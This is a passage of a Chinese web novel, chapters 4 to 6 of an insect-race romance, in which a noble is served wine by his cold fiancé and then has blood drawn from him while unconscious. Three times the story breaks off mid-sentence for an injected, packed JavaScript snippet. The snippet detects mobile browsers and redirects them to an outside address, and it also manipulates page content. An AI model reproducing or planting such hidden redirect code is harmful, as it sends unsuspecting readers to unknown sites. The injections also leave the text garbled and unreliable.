他随手将军装外套脱下,递交给一旁的侍虫。这下身上的肌肉更明显了,几乎快从身上爆裂开来,但隔着薄薄的衬衫,却依稀能看见他胸前缠绕着包扎的布条。
按理说雌虫强大的愈合力几乎是不需要包扎的,更何况是墨尔庇斯这样的顶尖存在。即使四肢被砍断,不出几分钟也能重新生长,这也是虫族的可怕之处。
除了,污染。
从星渊逃逸出的星兽身上带着本源污染的力量,被伤到后即使是顶级雌虫,也要耗费数月,并借助雄虫信息素驱散污染,才得以愈合。
雪因觉得,墨尔庇斯大概根本不想回来,只是受伤需要一只S级雄虫的信息素,所以才不得不返程。
而墨尔庇斯这时候恰好抬头,冰冷的目光落在雪因身上,带着微不可查的审视。下颌线似乎绷紧了一瞬,唇瓣动了动,却犹豫了一瞬。
雪因猜,他大概不记得自己的名字了。
果然。
“维斯特冕殿下。”墨尔庇斯声音低沉沙哑毫无温度,语调中上位者的高傲分毫未减,随即躬身行礼,左手抚胸,动作无可挑剔。
高贵的雄虫大人,高贵的殿下。
唯独不是雪因。
4. 第 4 章
雪因微微颔首。
缓步走下楼梯,来到墨尔庇斯面前。
墨尔庇斯实在很高。
就算在这个雌虫身高普遍比雄虫高一个头的社会中,他也是顶尖的那一栏。
高到能完全把雪因笼罩在自己影子里,从背后看,能彻底遮住雪因的身影。
仅仅是站在他面前,就能感受到战火硝烟味扑面而来,就连精神力也像主人一般凶,强势弥漫在他四周,又似乎已经是刻意收拢了几分的结果。
半年不见,雪因凝视着他的面容。
黑色短发,眼瞳是那种纯黑色,又因身为顶尖雌虫偶尔控制不住溢出猩红色精神力光芒,显得异常凶狠。
专注地盯着对方时,往往让人不寒而栗。
陌生又熟悉的脸,对视几秒,雪因移开了视线。
两人都没有开口,太长时间不见面,又或者即使他们单独相处,大部分时间也总是沉默。
最后还是雪因主动。
他试探了一下,能感知到对方精神力污染程度极高,精神海浓稠到近乎漆黑。
雄虫总是会对雌虫的精神力状态格外敏感,还感知出墨尔庇斯胸口的伤,污染一直在不断阻扰着他身体愈合程度。
雪因犹豫片刻,还是前进迈了一步,伸出指尖,试图触碰他胸口上的伤,信息素在他的控制下缓缓流动,准备为他治疗。
无论如何,以他们两家的关系,给墨尔庇斯疗伤都是分内之事。指尖快要碰上——
墨尔庇斯眼神骤冷,身形迅捷地后撤一步,精准地避开雪因指尖。
……
雪因抬起头望着向他。
“别碰!脏。”
话一出口,墨尔庇斯就意识到语气太过严厉,雪因也不是军队中那群皮糙肉厚的雌虫,而是稍受到惊吓就会萎靡的小殿下。
“殿下…”他勉强将声线压低两分尽量显得轻柔,却依然掩盖不住其中的疏离。“按理需先执行消毒程序。”
说罢,他不再多言,径直转身离开。
脏…
我么?
雪因指尖不自觉收紧,很快又放松下来。
墨尔庇斯一向讨厌雄虫,他知道的。
小时候身边朋友告诉他雌君应该是最亲密的关系。
他那时候还有憧憬,忍着害怕,鼓起勇气数着墨尔庇斯征战回来的日子。在门前守着,等看到他回来的第一时间,能冲过去抱他。
每次都会被他用精神力隔开。
有时候被缠着烦了,墨尔庇斯便也是这样,说脏。
他不敢看墨尔庇斯的眼神,也辨不出他的语气。本身接触凶巴巴的军团长就已经耗费所有勇气了。
后来干脆墨尔庇斯干脆让抚育虫将他抱走。
抚育虫安慰他,说可能墨尔庇斯不是嫌弃他,只是单纯不喜欢雄虫而已。
是这样么?
又好像只有这一个可能。
毕竟墨尔庇斯身边也没有其他的雄虫。
他只能接受未来雌君不喜欢雄虫这个事实。
不是不喜欢他,是不喜欢雄虫而已。他抱着娃娃,对怀里黑色头发的娃娃说服着。
后来终于等到机会。
他的未来雌君、墨尔庇斯在战场受伤了。
小小的雪团反常地兴奋起来。
在圣殿上课时听说,雌虫受伤时必须依赖大量的雄虫信息素帮助愈合。那么这一次,总不会再抗拒他的接触了吧?
从听到墨尔庇斯回主星开始,他开始每晚都亮着灯,越发刻苦学习着治疗雌虫的方法,不断练习对信息素掌控能力。
他天赋很高,七岁的时候对信息素掌握能力就比普通A级雄虫治疗效果都好。
他等了一周。
迟迟不见墨尔庇斯的身影。不是需要治疗么?他问身边虫。
侍虫只是告诉他别担心,墨尔庇斯军团长会自己处理。
自己处理?
自己处理什么??!
他可是墨尔庇斯的雄主诶!!!
就算小一点怎么了!!!
已经很厉害了!
等墨尔庇斯回来一定要告诉他,自己已经很强了!
比所有所有的雄虫都强!!!
等他回来就知道了,到时候谁也不会再看不起他,把他当成什么都不懂的幼崽。
墨尔庇斯还是回来了,却是被抬着回来的。
他那一次确实伤得极重,浓厚的血腥味连衣服都掩盖不住。
他们哄着雪因前去帮墨尔庇斯治疗。
雪因故作闹别扭,扭头推脱了几次,在副官再一次焦急劝说下他终于动了。
他兴冲冲推开门,决定让大家都看看他的厉害,展现这段时间的训练成果。
墨尔庇斯躺在床上,面无血色,腹部掩盖不住的一大团骇人的血迹瞬间吓住了他。
那是雪因第一次见到那么多血。
抚育员连忙捂着他的眼睛想将他抱走,他深呼吸两口,拒绝了。
身为未来无比强大的雄虫,可不能什么都怕!!!
何况那是他未来雌君诶!
不可怕不可怕不可怕的!
好吧…还是有一点。
他艰难地接近,鼓起勇气来到他面前,但…灵敏的他立刻察觉到,墨尔庇斯身上残留着很多雄虫信息素治疗的痕迹。
但都没有他强,很明显是别的雄虫对这些伤束手无策才将军团长送回来。
虽然有些不高兴未来雌君身上沾有别的雄虫信息素,但他还是上前,安抚信息素缓缓覆盖在墨尔庇斯身上。
他没有成年,无法借助体/液,只能优先通过肢体接触来引导信息素治愈伤口。
手刚触碰到对方伤处,墨尔庇斯猛地睁开双眼,眸中一片血红。
看到他,墨尔庇斯愣了一瞬,随即一把狠狠将他推开,迅速起身后退,将被子严严实实挡在身前。
雪因被重重推开,跌倒在身后抚育虫怀里。他怔怔望着墨尔庇斯。
墨尔庇斯冲着周围低吼:“还不把雪…”他瞥了一眼雪因,嘴唇动了动,压下声调恢复了冷漠自持“把殿下带出去。”
后来雪因大哭了一场。他问抚育虫,是不是军团长非常讨厌他。
抚育虫轻声安慰:“没关系的,我喜欢我们雪因就好了。”
果然是很讨厌他啊。
他抽泣着,紧抱住了抚育虫。
后来墨尔庇斯继续出征了。
那个抱着说最喜欢他的抚育虫,也再也见不到了。
“嗯。”雪因对着墨尔庇斯离去的背影应了一声。
转身走向一楼会客厅的餐桌。
上面摆满了丰盛的食物,他在主位坐下。
虽然刚才用甜点已经饱了,但墨尔庇斯回来需要共同用膳,也是雄虫礼仪中对待未婚夫的基本守则。
无论私下关系如何,表面上的和睦依旧要维持。
没过多久,墨尔庇斯换了一身制服走出来。
发梢还带着些许潮意,身上凌厉感似乎缓和了几分。
“殿下,稍后属下需向军团长汇报军务,恐要耽误您片刻用餐时间,您不介意吧?”斯卡尔跟在墨尔庇斯身后,微笑着询问。
雪因微微颔首,副官先生随即在墨尔庇斯下方的座位落座。
身后的洛迦南又开始细心为雪因布菜。
虽有些烦躁,雪因还是悄悄将治疗信息素布满整个空间。
这是S级以上的雄虫特有的技能,能在雌虫毫无察觉情况下给予治疗。
至少今晚在这里的雌虫回去后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513803|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都会觉得轻松不少。
“殿下,SR-72星系已顺利攻陷。若换作第二军团,怕是要耗上数年。军团长为了早日归来看您,仅用八个月便结束了战事…”斯卡尔笑着开口/活跃气氛。
他是一位极为称职的副官,像只狡猾的狐狸,行为举止滴水不漏,让人抓不出他一丝错处。
在他努力下,餐桌的氛围缓和不少。
虽然没人搭理他。
他毫不尴尬,看向雪因的眼神温和,说话的语调如沐清风,自顾自说着些战场上的趣事,充当两位主人用餐时的音乐背景。
斯卡尔出身小贵族家庭,是家中三子,作为出色的S级雌虫,自军校毕业后便一直追随墨尔庇斯,立场鲜明。
墨尔庇斯代表顶级军权,和身为顶级雄虫的雪因则联结着权力与财富。
两个家族互相纠缠,相辅相成,成为帝国顶尖权贵的象征。
众所周知墨尔庇斯极为珍重这位未来雄主。
而他作为传统派的代表人物,永远站在正统制度那边,自然也能接受雌侍的存在,甚至从雪因成年起就放出风声要为这位未来雄主挑选雌侍。
帝国雌侍并不是毫无地位的,尤其是对于雪因这种贵族出生雄子。
他们不会苛刻雌侍,虽婚后雌侍财产默认充公,但除了极其变态的雄虫,帝国几乎没有虫会窥伺雌侍那点‘歪瓜裂枣’,毕竟雄虫本身的补贴已经是笔天文数字。
这套体制下雌侍不仅能合法拥有雄主,在外亦可借助雄主雌君家族的资源跨越阶级。顶级雄虫家族不会出现虐待雌侍的新闻,更多是不喜欢就打发出去赚军功星币眼不见为净。
何况顶级基因难求,若能诞下顶级雌虫幼崽,那真是血赚,可谓为帝国壮大做出贡献。
而以斯卡尔为首的小贵族且等级不算差的雌虫,想要够上雪因的雌侍之位也得争抢得头破血流。很难说他们投靠墨尔庇斯,是不是也存着有可能成为雪因的雌侍的一部分心思。
雌侍守则第一条。
做雌君和雄主之间的润滑油,替不擅表达的某些虫开口,确保家庭和睦。
斯卡尔牢记在心,看着不作声的两位主人,斟酌着再次开口:“殿下,军团长在外一直思念着您…”
“够了。”墨尔庇斯冷声打断。
斯卡尔“……”
没看到维斯特冕殿下不太高兴了么???
他真的为军团长捏把汗,虽然雄虫的宠爱对军团长这种手握重权制定规则的雌君无关紧要。
而雌君与雄主之间感情一般,反倒是利于他们这些雌侍获得更多怀蛋的机会——但,前提是,婚后。
按这个进度…斯卡尔内心不禁吐槽,有时候都想跪下来求军团长别开口了。
赶紧结婚结婚结婚!
早点生下顶级虫崽,到时候他嫁进来,爱怎样怎样。
军团长要是不擅长哄着雪因,就把雪因让出来!!!
他发誓他会把维斯特冕殿下哄得每日笑语盈盈。而不是现在这样看似温和实则郁郁的,看得他心都要碎了。
墨尔庇斯抬手示意。
身后侍虫拿过酒瓶,鲜红的酒液带着些许醉人的香,萦绕在餐厅。
斯卡尔“……?”
没人告诉他还有这一出啊?
雪因注视着酒液。这还是墨尔庇斯第一次在他面前拿出酒,虽然知道他在军中必然会喝,但想不到居然在他的府邸…未免放肆了些。
直到宽大的手将半杯酒液推到他面前。
“殿下。尝尝。”墨尔庇斯看不出表情,语气低沉。带着一骨子军中常年发号施令的味道。
雪因一时怔住。
好不容易松弛了些的氛围瞬间冻住,再度变得紧张起来。
斯卡尔“……!!!”
5. 第 5 章
墨尔庇斯的手指节很粗壮,带着厚厚的茧,关节上还有着虫化未完全收敛的黑色棱角。甚至能想象到,只需在皮肤上轻轻摩擦,便会留下红痕。
这个世界雌虫设定近乎完美,可以完全虫化,像现在这样,身躯被虫化棱角覆盖。
完全虫化时身型甚至能长达几米到几十米,拥有极强的攻击性修复力,身上带有独特的虫纹,并依据等级获得强大的精神力,等级越高寿命越长,像墨尔庇斯这样寿命能达上千岁,而如今也有二百多岁,在他面前,雪因确实青涩得要命,一眼就能看穿。
但雌虫唯一的天敌则是雄虫。
雄虫拥有信息素,在一般情况下能够越级操控,或者说,诱使雌虫保护自己。雄虫并不柔弱且拥有尾钩,蕴含神经毒素和强大的信息素,但一般雄虫不会轻易露出,作为辅助繁殖交/配时防止雌虫逃脱,以及在面对威胁时自卫。一般隐藏于脊椎末端,靠近尾骨的位置饰有特殊花纹。
不过这是外界的做法,毕竟没虫敢扒下雄虫的裤子检查。
以雪因的能力,足以轻易压制绝大多数雌虫。
但在绝对的等级差距面前,一切努力都如浮云。帝国至今无法准确检测出墨尔庇斯的等级,只能将其暂归于最高的3S序列。
雪因破壳后第一眼看到的就是墨尔庇斯,这也是雄保协会为促进他与未来雌君关系采取的方式之一。
但雏鸟情结最终还是被巨大的求生欲取代。
据说当时刚出壳的小雪因崽子用尽了吃奶的力气,爆发出极强的信息素,瞬间长出稚嫩的小翅膀,扑扑簌簌地狼狈向外逃命。
一瞬间,方圆百里所有雌虫都被前所未有的信息素硬控动弹不得。眼看要冲出门,最后还是墨尔庇斯还是捏住了他黏液未干的小翅膀,把双拳紧握缩成一团,吓到僵硬的小雄子放回保温箱。
雪因眼睁睁看着他面无表情地咬破指尖,将渗血的手指伸向自己,终于得已晕了过去。
“尝尝?”墨尔庇斯再次开口。
不是记忆中染血的指尖,而是一杯推到他面前的红酒。
他像是回到了初见时,视野中那抹鲜红不断蔓延,最终停留在他面前。
遗憾的是,年龄渐长,已经不能再次用晕厥逃避。
不等他反应,身后的洛迦南开口,微微行了个礼,“殿下饮酒需提前一月向雄保会申报,并经议会批准。何况这是殿下首次饮酒,医疗方案是否已在圣殿备案?”
洛迦南是雄虫协会利用尖端基因技术,专为顶级雄虫培育出的顶级雌虫。雄虫协会科技水平极强,与其说是协会,不如说在主星核心塑造了一个独立的星球
绝大部分雄虫都是在那里诞生长大,自然配套措施也极为完善,拥有每一位雄虫完整的档案,并根据每只雄虫的特性匹配出抚育员及护卫,这样雌虫往往从诞生开始学习且忠诚,是每只雄虫最稳固的力量。
而洛迦南则是里边顶尖的存在,2S甚至逼近3S级顶尖雌虫。
虽然平日大部分时间只在为雪因打理衣食住行,容易令虫放松警惕,但谁也不敢真正小看他。
“洛迦南,别这么严肃。”斯卡尔立刻站起身,笑着打圆场。“军团长只是想和未来的雄主享受一顿温馨的晚餐而已。”
“殿下是帝国最珍贵的雄子,不可随意对待。”洛迦南盯着斯卡尔,无形的威压让斯卡尔后退一步。“一切必须按规程办事。”
雌虫之间每一级等级差距都是巨大的。
斯卡尔看了一眼墨尔庇斯,军团长专注地望着雪因,而雪因则垂眸注视着杯中酒液,两位主角都未在意上方激烈对话。
斯卡尔深吸一口气。
他最烦洛迦南,仗着等级高又是殿下的抚育虫,不仅时刻跟随殿下,还多次拦着他们与雪因亲近。
他藏起眼底的厌恶,维持笑意解释道:“您不知道,我们这次征战还意外解救了一只边缘星上的小雄子。撞上的时候被灌酒醉倒快要落入敌手,还好我们解救及时。正好隔壁星系的领主进献这酒,据说百年一酿无害且能脱敏。军团长也是一片好意。”
“第一,殿下不会落入敌手。”洛迦南目光更冷,“第二,殿下不需要这种莫名其妙的‘锻炼’。”
“你——”斯卡尔快被这个不知变通的狗东西气死了。
“第三,”洛迦南的眼瞳是白色的,当他认真凝视着人的时候,总是让人无端感到一阵寒意,“一切必须以殿下健康为重。”
重重威压从洛迦南身上散发精准地袭向斯卡尔。斯卡尔喉间涌上腥甜,额间渗出冷汗,他刚想开口却被压制得说不出话,连呼吸都仿佛被隔断。
艹。
这里是在雪因的王爵府内,他要是开展威压反击,便成了对殿下威严的挑衅。无法主动发起进攻,斯卡尔简直太憋屈了,要是在外面多少得和洛迦南打起来。
虽然洛迦南比他高一阶,但他常年征战,身为第一军团副官,曾多次以一己之力诛灭整颗星球的侵略者,实力绝不弱。真动起手来,洛迦南不死也得脱层皮。
就在这时,墨尔庇斯淡淡开口:“洛迦南。”
斯卡尔甚至没有反应过来,身上的压制骤然一松。抬眼便见洛迦南猛地后退半步,唇角渗出一缕鲜血。
但恐怖的是,周边所有人都无法感知到这股威压是什么时候发起的。
“一切,以殿下意愿为准。”墨尔庇斯的语气平静,终结了他们的对峙。
洛迦南一怔,立刻意识到自己失言。他顾不上擦拭嘴角的血迹,当即转向雪因,单膝跪地。
“抱歉殿下。”他声音有些哑,刚才强大的精神力如尖针般直刺灵魂深处绞动,幸好多年来的训练才未暴露出丑态。他很快调整好状态。
“属下失言,自愿领罚。”
雪因看向洛迦南标准而完美的跪姿,忽然想起成年礼那天——雄虫协会赠予他的贺礼,是一箱刑具。
“雪因,我最珍贵的雄子。”
“生来便该为所欲为。”
“运用你的权力,用痛苦驾驭他们,用恐惧统治他们。调动他们最深处最强烈的欲望、不甘、愤怒。”孕育出我们虫族最强大的勇士。
勇气生于苦难,力量源自挣扎。
去挣扎、去愤怒。
……
雪因也回忆不起当初是什么心情,只隐约记得自己向后退了一步。或是无法面对。
“你必须学会掌控它们。”
“雌虫生来就流着冷血,为追逐权力可以不择手段。”
“你要学会的,是活下去,是彻底地掌控他们,而非被他们的情感所操控。”
纵容会滋生贪婪欲望,温柔招致毁灭。它们换来的只会是得寸进尺,最终导致被支配、被利用、被榨取,直至被囚禁至死。
这是多年来无数雄虫经历过的血一般的教训。
他微微颔首。
他并不完全认同,但雌虫管理自有一套规则,规则之所以存在自有其道理,有时候打破规则是对更多弱小雄虫的残忍。
雌虫总归拥有强大的自愈力,刑罚也不会造成致命伤。
洛迦南缓缓站起身,他身形清瘦,却站得笔直。
取过桌面的鲜红酒液,滴了几滴于掌心,雪白的掌心被酒液染红,他抬手至
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513804|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
唇边,舌尖轻点,他的舌尖很细,甚至能看到分叉的末端,这是他精神力异能赋予的能力之一,能精准感知并解析一切物质的成分。
“很安全。殿下。”所以日常雪因入口的食物多由他经手制备。
“属下告退”说罢,他转身径直向刑罚室走去。
说起来雪因从未去过刑罚室,他也不感兴趣,想来无非是些黏糊糊血腥的场面。
雄虫协会为保护雄虫的心理健康,向来会制止他们接触这些,如果他强硬要求,协会大概率也不会拒绝,但是没有必要不是么?
只是知道王爵府有这么一个地方就够了。
雪因转而将目光移至面前,这就是酒液么?鲜红的液体还在一圈圈泛起致命诱人的涟漪,还散发出阵阵蜜香。洛迦南走后,墨尔庇斯周身散发的威压似乎更强硬了几分,雪因不禁有些后悔,早知道让洛迦南站在一边待命就好。
他躲开墨尔庇斯强势的注视,强迫自己将注意力集中在酒杯上。
唔…今天诺伊斯喝的似乎也是这个。不知他一个B级雌虫是从哪弄出来的。
接吻时,还能尝到他唇齿间残留的些许酒香。
……
忽然有点想诺伊斯了。
诺伊斯的嘴唇总是很红润,唇珠微微上翘,亲起来格外舒服。他会一点点小心翼翼试探着勾缠,害羞地想躲开,又不得不迎合,其实整个身子都在微微发颤。
看起来嚣张得要死,实际…很柔软。很甜。还很会扭。
也不会很凶,像时刻在撒娇一样。
雪因身边的多数是顶级雄虫,自然不会有酗酒的恶习。就连佐尔安那个被雌虫称之为活菩萨的花花公子,也极少饮酒。
酒液会影响繁殖能力,在雄保协会是不受鼓励的,更何况在酒精的影响会削弱对危险的感知,这对雄虫来说往往是致命的。
但好香啊。
酒、或是诺伊斯。
都好香。
和这里一点都不一样。早些结束吧。
雪因拿过酒杯,轻轻嗅了嗅,而后仰头一饮而尽。
斯卡尔:!!!
甚至连一贯面无表情的墨尔庇斯,瞳孔都骤然收缩了一瞬。他安抚精神力立刻释放出来环绕着雪因,检查着雄虫殿下/体征状态。
磨合久了,雪因早就对这股外极具压迫感的精神力不再恐惧。反而有那种被强大雌虫揽入怀中轻声安抚的暖意,在身上蔓延。
“殿下,您没事吧?抿一口就好,您怎么…”斯卡尔急急上前。
“没事。”雪因回答,声线清冷。
他抬眼看去,却见斯卡尔突然站起身,脱下了军装外衣,身前坐着的洛迦南向他走过去,伸手环抱住他的身体,两个人亲密无间靠在一起,举起一旁的椅子,笑容灿烂地开始自拍。
“没事。我没有醉。”雪因再次强调,只是声音多了一点儿软糯醉意。
斯卡尔非常配合洛迦南的动作,最后甚至一把将他公主抱起,举过头顶轻松地转起了圈圈。
正常…吧?毕竟洛迦南和斯卡尔每次见面都会在一起‘热情聊天’。
“我很…清醒。”雪因深吸一口气。
整个世界却开始扭曲、旋转,最后打上了模糊的马赛克。余光看到面前的酒杯突然生出两条细长的腿,用光滑的杯口轻轻一顶,便将他整个人托举起来。
世界好像变黑了。
噢。
关灯了,那该睡觉了。
“晚安。”雪因迷茫眨眨眼,喃喃地说完这一句,意识便彻底沉入黑暗。
身体一软,额头撞在了什么柔软的地方。
6. 第 6 章
掌心传来细腻温润的触感,墨尔庇斯注视着雪因。
和清醒时疏离不同,此刻雪因毫无防备,彻底展露出雄虫天生的脆弱性。
墨尔庇斯冷静地评估着:信息素水平稳定,尾钩活性良好,生命体征平稳。
嗯,资产状态完美。
雪因很小只,至少对墨尔庇斯眼中,他一直是当年那个破壳后瑟瑟发抖的幼崽。
雪因是钴蓝珍灰蝶稀有色,从出壳就漂亮得惊人,湛蓝似海的眼睛,每每望向他时总会泛起朦胧水雾,眼泪要掉不掉的样子,怎么看都好欺负得很。
就连长大了那份脆弱感还一直未减,很长一段时间,他一直怀疑这个小崽子只要不管…
不。
是只需要几秒疏忽,就会死掉。
雄虫不应该脆弱。
应该强势,应该淡漠,应该自私,应该时刻将自我置于首位,才是帝国所期待的模样。
可雪因偏偏不是。
这让他感到失望。
“ma…”含糊软呓响起,软软湿糯触感再一次从掌心传来,明明很轻又让人觉得异常强势,像能沁入骨髓随血液悄然漫进心脏,搅起令人无从适应的异样情绪。
雪因无意识的在他手心轻蹭,手不自觉紧紧握住他露出在外的小拇指。
连墨尔庇斯都没有察觉到,他唇角扬起一抹极淡的幅度。
清醒时理智总告诫着这只小蝴蝶,要远离天敌,恪守规矩,保持戒备。
但理性沉睡后,潜意识又告诉这只小蝴蝶在墨尔庇斯身边是最安全的,潜意识的依恋便浮出水面。驱使他贴近那熟悉的精神力源头。
雄虫珍贵性不止体现在极低的性别比例,更因其岌岌可危的存活率。
只有自然繁殖才能孕育出雄虫,而等级越高,存活率越低。或许是对虫族先祖曾穷凶极恶扩大疆土的报应,尽数应验在了这些娇贵的雄虫幼崽上,本就比例极低的百枚雄虫蛋,能顺利破壳的,也不过一二。
更别提雄虫幼崽成年前,需要更高一级往上多达几十上百只雌虫精神力不断滋养,一旦停止,仅仅只有几分钟就会死亡。
能承担这种庞大资源投入的,也只有雄保协会能做到,也因此,绝大部分雄虫自破壳起,便一直在雄保协会照管下长大直至成婚。
而墨尔庇斯一只手,就能轻易将这个异常珍贵的生命,整个脸覆住。再往下,便是那段脆弱白皙的脖颈。
强大的精神力甚至能让他感知到皮下血液的流动。
明明这么珍贵,却只需要轻轻一握,便会被终结掉呼吸,就能让帝国倾注无数的资源付诸东流,像琉璃一样,璀璨又易碎。
……
“取针管来。”墨尔庇斯收回思绪,淡声吩咐。
侍虫对视一眼,很快几支空针管。
这是雪因的府邸,但当主虫醉酒时,一切自然听从未来雌君的指令。毕竟谁都可能伤害这位尊贵的殿下,唯独墨尔庇斯不可能。
“您何不让殿下为您进行精神疗愈?”斯卡尔在一旁笑着提议,“正好也能培养感情,早日诞下…”
“殿下是帝国最珍贵的…”墨尔庇斯打断斯卡尔。
话语微顿,眸中的冰再次凝聚,多了几分复杂,最终化为听不出情绪的陈诉,“资产。容不得闪失。”
单手将外套褪下,将醉伏在桌上的雪团揽臂抱起,刻意用外套隔开,避免任何肢体接触。
而那雪白长发却不懂事地从衣料间滑落,与墨尔庇斯的衣襟纠缠不清。
或是外套硬度感到不适,醉意昏沉娇生惯养的小雄子无意识地想要扒开隔开他们之间的外套,向温暖的胸膛索取温暖,却被无情的拒绝。
墨尔庇斯干脆用外套将雪因裹紧,防止失去意识仍不安分雪因乱动。调整了一下怀抱的姿势,避免雄虫脆弱的脊椎在运输过程中因不当受力而受损。
“军团长…”斯卡尔欲言又止,最后还是败在了对方充满压迫冷厉的精神力下。“属下退下。”
“一小时后会议,你在府外待命。”
“啊???”斯卡尔一时有些呆滞,“难得回来,您今晚不陪殿下么?”
不和雪因多说几句话就罢了,把人灌醉取血也权当是怕殿下清醒时受惊。
但!算算时间,这根本就是取完血便要走,连一点安抚的时间都不留么?!!!
“您…”斯卡尔其实一直很疑惑墨尔庇斯对雪因的态度。
说喜欢吧,军团长常年征战在外,并不向其他雌虫一样抽空写信,就连视频通讯都很少。
说不喜欢吧…又从未听说墨尔庇斯与其他雄虫有过纠缠,帝星每次传来消息说殿下近来喜爱什么,墨尔庇斯都毫不犹豫去打下、夺来。
斯卡尔敢保证,雪因绝对是帝国最富有最高贵的雄虫,足以让所有雄虫艳羡。
但为何冷淡?
他怀疑传闻中军团长手上有不少雄虫命是真的,难道他真不喜欢雄虫,只是因为责任驱使。
想来想去,似乎也只有这一个理由说得通。
最终,斯卡尔还是没问出那句,“您到底喜不喜欢殿下?”
或许感情对于他们这种顶级雌虫来说,是最可笑不过的事情。而他没资格过问,现在、未来都只需要做一个得力好用的下属就够了。
至于雌君的冷淡…对于雄虫应该会是好事,斯卡尔想。
俗话怎么说来着,雄虫就喜欢那种常年在外、不管家事却特别有权势、有巨额财富的雌君。
军雌死亡率还高,死了正好换一个,反正雄虫总不缺虫喜欢就是了。
“是。”斯卡尔不再细想,应声离开。
侍虫们也纷纷退下,室内终是只剩这对貌合神离的未婚伴侣。
墨尔庇斯生疏中带着一丝熟练,将脆弱的雪因揽在胸前,朝卧室走去。一手握着针管,还得提防着那时不时捣乱的尾钩缠上。
雄虫失去意识时,往往是他们攻击力最强的时候,尾钩会本能替他们防御一切外界伤害。
雪因尾钩生得极美,自尾脊延伸而出,约半身长,带着一股力量感,宣告着主人极其健康的状态。雪白鳞片一节一节覆盖着,直至尖端渐变蓝焰色。
而此刻它却不具攻击性,反而热情地缠绕上来,要是会说话,估计已经嗷嗷嗷叫嚣着饿了。
坐上卧室沙发。
雪因所用的一切都是顶级配置,连身下这张沙发都是上次协助隔壁领主击退污染星兽后获赠的帝国至宝,坐上面甚至能缓解精神力污染。
但世上没有任何东西,比得上雄虫体/液对雌虫的疗愈。
尾钩再次锲而不舍的缠上,本能探向腰部下方,随着雄虫成年越发强势。
墨尔庇斯这次没有拒绝,只是略显强硬将这不安分的尾钩拨到手臂旁。
尾钩也见好就收,不似主人那么有骨气,只委屈了一秒便竖起鳞片紧紧缠上。鲜血微微溢出,墨尔庇斯习以为常不做挣扎,反而放出大量精神力进行投喂。
这也是雄虫需要匹配高等级雌君的重要理由之一——低级雌虫无法提供成长期雄虫必须的营养,雄虫只会日渐枯萎。
而‘投喂’这件事一直是顶级雌虫间心照不宣的秘密。毕竟雄虫多数畏惧血腥,就算不畏惧也不会喜欢便是。
恐惧的情绪会影响吸收,不仅达不到投喂效果,反而会加快消耗,得不偿失。特别是对这些性格还未稳定的小崽子来说,一般选在在他们失去意识放下防备时更方便进行。
不仅雄虫需要雌虫,雌虫同样离不开雄虫信息素安抚。
雌虫精神力污染会随着年龄的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513805|186202||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
增长不断加深,更别提现如今出现从星渊泄露的诡异污染。
雄虫信息素等级越高,治愈效果越好。
这也是墨尔庇斯每年必须回来的理由之一:投喂崽子、顺便取些血。
至于通过交/配灌溉大量信息素治疗…
确实很方便。但其一,前些年雪因尚未成年。其二,他可没时间陪这小东西谈什么爱啊喜欢什么的。都是一些哄骗雄虫的玩意。
没什么比抽取血液更有效率。
这次被污染星兽伤得确实很重,消耗掉所有雪因的血液库存才勉强维持伤势愈合。
在未查明雄虫直接接触污染伤口,并拔除星渊污染是否会对其本身造成伤害前,帝国是决不允许雪因涉险的。
他同样也不会。
墨尔庇斯撕开带着消毒棉球,轻轻擦拭在雪因白皙的小臂上。就算知道雪因在无意识状态下不会感到疼痛,他还是拆开一旁麻醉药剂,蘸取少许轻轻涂抹上去。
直至针头悬在小臂上,尾钩才后知后觉从埋头狂吃的状态,懵懵地立起来。
——好像有危险诶?
——要保护主人来着。
雪因不自觉睫毛轻颤,身体往后缩了缩。
“别动。雌父在。”墨尔庇斯面无表情说道。
果然话音刚落下,尾钩本就不强硬的戒备数瞬间消散,重新埋首继续大吃特吃。
墨尔庇斯不管多少次,都为雪因这种轻易就被哄骗的模样感到不耐。
他嗤笑一声,趁怀里的雪因身体停止颤抖,快速将针头刺入。
一管。两管。三管。
温热的血液逐渐填满针管,脱离主人后,在掌心一点点变凉。
墨尔庇斯凝视着雪因臂上沁出那滴血珠,眼神暗晦,那抹鲜红在视野中不断放大开始占据他整个世界,散发着致命的异香。
这可是帝国最顶级的疗愈资源,蕴含着驱散污染的关键。他的本能渴望沸腾,但理智更甚:必须精确抽取定量,确保资源的可持续性,绝不容许浪费,他告诉自己。
但又有些什么不一样,好想…舔舐、吞噬、咽下一点不剩拆骨入腹。
世界仿佛只剩下他们,他听到自己震耳欲聋的心跳声,眼神渐渐变得迷离,意识开始失控,手臂皮肤下隐约浮现虫化的棱角,尖齿发痒,唾液不受控制地分泌。
